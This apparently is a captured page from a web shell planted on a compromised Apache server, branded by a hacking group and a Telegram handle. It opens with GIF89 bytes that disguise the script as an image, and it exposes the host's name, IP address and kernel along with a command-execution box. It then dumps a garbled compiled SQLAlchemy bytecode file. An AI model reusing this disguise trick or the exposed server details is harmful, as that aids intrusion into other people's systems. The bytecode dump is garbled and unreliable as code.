GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
opt
/
hc_python
/
lib64
/
python3.12
/
site-packages
/
sqlalchemy
/
ext
/
__pycache__
[ HOME ]
Exec
Submit
File Name : horizontal_shard.cpython-312.pyc
� ���g3A � � � d Z ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlm Z dd lm Z dd lmZ ddlmZ ddlm Z d dlmZ d dlmZ d dlmZ d dlmZ d dlmZ d dlmZ d dlmZ d dlmZ d dlmZ d dlmZ d dlmZ d dlm Z d dl!m"Z" d dl!m#Z# er`d dl$m%Z% d dl$m&Z& d dl$m'Z' d dl(m)Z) d d l(m*Z* d d!lm+Z+ d d"lm,Z, d d#l-m.Z. d d$l/m0Z0 d d%lm1Z1 d d&lm2Z2 d d'lm3Z3 d d(l4m5Z5 d d)l6m7Z7 d d*l8m9Z9 d d+l:m;Z; d,d-gZ< ed.e�/� Z=e>Z? G d0� d1e"� Z@ G d2� d3e"� ZA G d4� d-ee= � ZB G d5� d,e � ZC G d6� d7e� ZD d:d8�ZEy9);a� Horizontal sharding support. Defines a rudimental 'horizontal sharding' system which allows a Session to distribute queries and persistence operations across multiple databases. For a usage example, see the :ref:`examples_sharding` example included in the source distribution. .. deepalchemy:: The horizontal sharding extension is an advanced feature, involving a complex statement -> database interaction as well as use of semi-public APIs for non-trivial cases. Simpler approaches to refering to multiple database "shards", most commonly using a distinct :class:`_orm.Session` per "shard", should always be considered first before using this more complex and less-production-tested system. � )�annotations)�Any)�Callable)�Dict)�Iterable)�Optional)�Tuple)�Type)� TYPE_CHECKING)�TypeVar)�Union� )�event)�exc)�inspect)�util)�PassiveFlag)�OrmExecuteOptionsParameter)� ORMOption)�Mapper)�Query)�_BindArguments)�_PKIdentityArgument)�Session)�Protocol)�Self)� Connection)�Engine)�OptionEngine)�IteratorResult)�Result)�LoaderCallableStatus)�_O)�BulkUDCompileState)�QueryContext)�_EntityBindKey)�_SessionBind)�ORMExecuteState)� InstanceState)� Executable)�_TP)� ClauseElement�ShardedSession�ShardedQuery�_T)�boundc �$ � e Zd Z dd�Zy)�ShardChooserc � � y �N� )�self�mapper�instance�clauses �P/opt/hc_python/lib64/python3.12/site-packages/sqlalchemy/ext/horizontal_shard.py�__call__zShardChooser.__call__Q s � � � N)r7 �Optional[Mapper[_T]]r8 r r9 �Optional[ClauseElement]�returnr ��__name__� __module__�__qualname__r; r5 r<